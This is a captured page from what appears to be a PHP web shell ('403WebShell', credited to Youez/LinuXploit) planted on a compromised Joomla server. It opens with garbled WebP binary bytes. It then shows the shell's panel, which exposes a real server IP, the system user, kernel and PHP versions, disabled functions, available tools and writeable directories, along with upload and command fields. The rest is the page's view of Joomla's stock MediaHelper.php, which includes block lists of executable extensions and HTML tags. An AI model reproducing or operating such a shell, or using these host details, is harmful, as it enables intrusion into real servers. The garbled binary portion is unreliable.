....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 195.3.193.30  /  Your IP : 216.73.216.125
Web Server : Apache
System : Linux server3 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : web032 ( 1035)
PHP Version : 7.3.33
Disable Function : show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/web032/htdocs/cms/libraries/src/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/web032/htdocs/cms/libraries/src/Helper/MediaHelper.php
<?php
/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Helper;

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Component\ComponentHelper;

/**
 * Media helper class
 *
 * @since  3.2
 */
class MediaHelper
{
	/**
	 * Checks if the file is an image
	 *
	 * @param   string  $fileName  The filename
	 *
	 * @return  boolean
	 *
	 * @since   3.2
	 */
	public function isImage($fileName)
	{
		static $imageTypes = 'xcf|odg|gif|jpg|png|bmp';

		return preg_match("/\.(?:$imageTypes)$/i", $fileName);
	}

	/**
	 * Gets the file extension for purposed of using an icon
	 *
	 * @param   string  $fileName  The filename
	 *
	 * @return  string  File extension to determine icon
	 *
	 * @since   3.2
	 */
	public static function getTypeIcon($fileName)
	{
		return strtolower(substr($fileName, strrpos($fileName, '.') + 1));
	}

	/**
	 * Get the Mime type
	 *
	 * @param   string   $file     The link to the file to be checked
	 * @param   boolean  $isImage  True if the passed file is an image else false
	 *
	 * @return  mixed    the mime type detected false on error
	 *
	 * @since   3.7.2
	 */
	private function getMimeType($file, $isImage = false)
	{
		// If we can't detect anything mime is false
		$mime = false;

		try
		{
			if ($isImage && function_exists('exif_imagetype'))
			{
				$mime = image_type_to_mime_type(exif_imagetype($file));
			}
			elseif ($isImage && function_exists('getimagesize'))
			{
				$imagesize = getimagesize($file);
				$mime      = isset($imagesize['mime']) ? $imagesize['mime'] : false;
			}
			elseif (function_exists('mime_content_type'))
			{
				// We have mime magic.
				$mime = mime_content_type($file);
			}
			elseif (function_exists('finfo_open'))
			{
				// We have fileinfo
				$finfo = finfo_open(FILEINFO_MIME_TYPE);
				$mime  = finfo_file($finfo, $file);
				finfo_close($finfo);
			}
		}
		catch (\Exception $e)
		{
			// If we have any kind of error here => false;
			return false;
		}

		// If we can't detect the mime try it again
		if ($mime === 'application/octet-stream' && $isImage === true)
		{
			$mime = $this->getMimeType($file, false);
		}

		// We have a mime here
		return $mime;
	}

	/**
	 * Checks the Mime type
	 *
	 * @param   string  $mime       The mime to be checked
	 * @param   string  $component  The optional name for the component storing the parameters
	 *
	 * @return  boolean  true if mime type checking is disabled or it passes the checks else false
	 *
	 * @since   3.7
	 */
	private function checkMimeType($mime, $component = 'com_media')
	{
		$params = ComponentHelper::getParams($component);

		if ($params->get('check_mime', 1))
		{
			// Get the mime type configuration
			$allowedMime = array_map('trim', explode(',', $params->get('upload_mime')));

			// Mime should be available and in the whitelist
			return !empty($mime) && in_array($mime, $allowedMime);
		}

		// We don't check mime at all or it passes the checks
		return true;
	}

	/**
	 * Checks if the file can be uploaded
	 *
	 * @param   array   $file                File information
	 * @param   string  $component           The option name for the component storing the parameters
	 * @param   string  $allowedExecutables  Array of executable file types that shall be whitelisted
	 *
	 * @return  boolean
	 *
	 * @since   3.2
	 */
	public function canUpload($file, $component = 'com_media', $allowedExecutables = array())
	{
		$app    = \JFactory::getApplication();
		$params = ComponentHelper::getParams($component);

		if (empty($file['name']))
		{
			$app->enqueueMessage(\JText::_('JLIB_MEDIA_ERROR_UPLOAD_INPUT'), 'error');

			return false;
		}

		jimport('joomla.filesystem.file');

		if (str_replace(' ', '', $file['name']) !== $file['name'] || $file['name'] !== \JFile::makeSafe($file['name']))
		{
			$app->enqueueMessage(\JText::_('JLIB_MEDIA_ERROR_WARNFILENAME'), 'error');

			return false;
		}

		$filetypes = explode('.', $file['name']);

		if (count($filetypes) < 2)
		{
			// There seems to be no extension
			$app->enqueueMessage(\JText::_('JLIB_MEDIA_ERROR_WARNFILETYPE'), 'error');

			return false;
		}

		array_shift($filetypes);

		// Media file names should never have executable extensions buried in them.
		$executable = array(
			'php', 'js', 'exe', 'phtml', 'java', 'perl', 'py', 'asp', 'dll', 'go', 'ade', 'adp', 'bat', 'chm', 'cmd', 'com', 'cpl', 'hta', 'ins', 'isp',
			'jse', 'lib', 'mde', 'msc', 'msp', 'mst', 'pif', 'scr', 'sct', 'shb', 'sys', 'vb', 'vbe', 'vbs', 'vxd', 'wsc', 'wsf', 'wsh', 'html', 'htm',
		);

		// Remove allowed executables from array
		if (count($allowedExecutables))
		{
			$executable = array_diff($executable, $allowedExecutables);
		}

		$check = array_intersect($filetypes, $executable);

		if (!empty($check))
		{
			$app->enqueueMessage(\JText::_('JLIB_MEDIA_ERROR_WARNFILETYPE'), 'error');

			return false;
		}

		$filetype  = array_pop($filetypes);
		$allowable = array_map('trim', explode(',', $params->get('upload_extensions')));
		$ignored   = array_map('trim', explode(',', $params->get('ignore_extensions')));

		if ($filetype == '' || $filetype == false || (!in_array($filetype, $allowable) && !in_array($filetype, $ignored)))
		{
			$app->enqueueMessage(\JText::_('JLIB_MEDIA_ERROR_WARNFILETYPE'), 'error');

			return false;
		}

		$maxSize = (int) ($params->get('upload_maxsize', 0) * 1024 * 1024);

		if ($maxSize > 0 && (int) $file['size'] > $maxSize)
		{
			$app->enqueueMessage(\JText::_('JLIB_MEDIA_ERROR_WARNFILETOOLARGE'), 'error');

			return false;
		}

		if ($params->get('restrict_uploads', 1))
		{
			$images = array_map('trim', explode(',', $params->get('image_extensions')));

			if (in_array($filetype, $images))
			{
				// If tmp_name is empty, then the file was bigger than the PHP limit
				if (!empty($file['tmp_name']))
				{
					// Get the mime type this is an image file
					$mime = $this->getMimeType($file['tmp_name'], true);

					// Did we get anything useful?
					if ($mime != false)
					{
						$result = $this->checkMimeType($mime, $component);

						// If the mime type is not allowed we don't upload it and show the mime code error to the user
						if ($result === false)
						{
							$app->enqueueMessage(\JText::sprintf('JLIB_MEDIA_ERROR_WARNINVALID_MIMETYPE', $mime), 'error');

							return false;
						}
					}
					// We can't detect the mime type so it looks like an invalid image
					else
					{
						$app->enqueueMessage(\JText::_('JLIB_MEDIA_ERROR_WARNINVALID_IMG'), 'error');

						return false;
					}
				}
				else
				{
					$app->enqueueMessage(\JText::_('JLIB_MEDIA_ERROR_WARNFILETOOLARGE'), 'error');

					return false;
				}
			}
			elseif (!in_array($filetype, $ignored))
			{
				// Get the mime type this is not an image file
				$mime = $this->getMimeType($file['tmp_name'], false);

				// Did we get anything useful?
				if ($mime != false)
				{
					$result = $this->checkMimeType($mime, $component);

					// If the mime type is not allowed we don't upload it and show the mime code error to the user
					if ($result === false)
					{
						$app->enqueueMessage(\JText::sprintf('JLIB_MEDIA_ERROR_WARNINVALID_MIMETYPE', $mime), 'error');

						return false;
					}
				}
				// We can't detect the mime type so it looks like an invalid file
				else
				{
					$app->enqueueMessage(\JText::_('JLIB_MEDIA_ERROR_WARNINVALID_MIME'), 'error');

					return false;
				}

				if (!\JFactory::getUser()->authorise('core.manage', $component))
				{
					$app->enqueueMessage(\JText::_('JLIB_MEDIA_ERROR_WARNNOTADMIN'), 'error');

					return false;
				}
			}
		}

		$xss_check = file_get_contents($file['tmp_name'], false, null, -1, 256);

		$html_tags = array(
			'abbr', 'acronym', 'address', 'applet', 'area', 'audioscope', 'base', 'basefont', 'bdo', 'bgsound', 'big', 'blackface', 'blink',
			'blockquote', 'body', 'bq', 'br', 'button', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'comment', 'custom', 'dd', 'del',
			'dfn', 'dir', 'div', 'dl', 'dt', 'em', 'embed', 'fieldset', 'fn', 'font', 'form', 'frame', 'frameset', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
			'head', 'hr', 'html', 'iframe', 'ilayer', 'img', 'input', 'ins', 'isindex', 'keygen', 'kbd', 'label', 'layer', 'legend', 'li', 'limittext',
			'link', 'listing', 'map', 'marquee', 'menu', 'meta', 'multicol', 'nobr', 'noembed', 'noframes', 'noscript', 'nosmartquotes', 'object',
			'ol', 'optgroup', 'option', 'param', 'plaintext', 'pre', 'rt', 'ruby', 's', 'samp', 'script', 'select', 'server', 'shadow', 'sidebar',
			'small', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'sup', 'table', 'tbody', 'td', 'textarea', 'tfoot', 'th', 'thead', 'title',
			'tr', 'tt', 'ul', 'var', 'wbr', 'xml', 'xmp', '!DOCTYPE', '!--',
		);

		foreach ($html_tags as $tag)
		{
			// A tag is '<tagname ', so we need to add < and a space or '<tagname>'
			if (stripos($xss_check, '<' . $tag . ' ') !== false || stripos($xss_check, '<' . $tag . '>') !== false)
			{
				$app->enqueueMessage(\JText::_('JLIB_MEDIA_ERROR_WARNIEXSS'), 'error');

				return false;
			}
		}

		return true;
	}

	/**
	 * Calculate the size of a resized image
	 *
	 * @param   integer  $width   Image width
	 * @param   integer  $height  Image height
	 * @param   integer  $target  Target size
	 *
	 * @return  array  The new width and height
	 *
	 * @since   3.2
	 */
	public static function imageResize($width, $height, $target)
	{
		/*
		 * Takes the larger size of the width and height and applies the
		 * formula accordingly. This is so this script will work
		 * dynamically with any size image
		 */
		if ($width > $height)
		{
			$percentage = ($target / $width);
		}
		else
		{
			$percentage = ($target / $height);
		}

		// Gets the new value and applies the percentage, then rounds the value
		$width  = round($width * $percentage);
		$height = round($height * $percentage);

		return array($width, $height);
	}

	/**
	 * Counts the files and directories in a directory that are not php or html files.
	 *
	 * @param   string  $dir  Directory name
	 *
	 * @return  array  The number of media files and directories in the given directory
	 *
	 * @since   3.2
	 */
	public function countFiles($dir)
	{
		$total_file = 0;
		$total_dir  = 0;

		if (is_dir($dir))
		{
			$d = dir($dir);

			while (($entry = $d->read()) !== false)
			{
				if ($entry[0] !== '.' && strpos($entry, '.html') === false && strpos($entry, '.php') === false && is_file($dir . DIRECTORY_SEPARATOR . $entry))
				{
					$total_file++;
				}

				if ($entry[0] !== '.' && is_dir($dir . DIRECTORY_SEPARATOR . $entry))
				{
					$total_dir++;
				}
			}

			$d->close();
		}

		return array($total_file, $total_dir);
	}

	/**
	 * Small helper function that properly converts any
	 * configuration options to their byte representation.
	 *
	 * @param   string|integer  $val  The value to be converted to bytes.
	 *
	 * @return integer The calculated bytes value from the input.
	 *
	 * @since 3.3
	 */
	public function toBytes($val)
	{
		switch ($val[strlen($val) - 1])
		{
			case 'M':
			case 'm':
				return (int) $val * 1048576;
			case 'K':
			case 'k':
				return (int) $val * 1024;
			case 'G':
			case 'g':
				return (int) $val * 1073741824;
			default:
				return $val;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit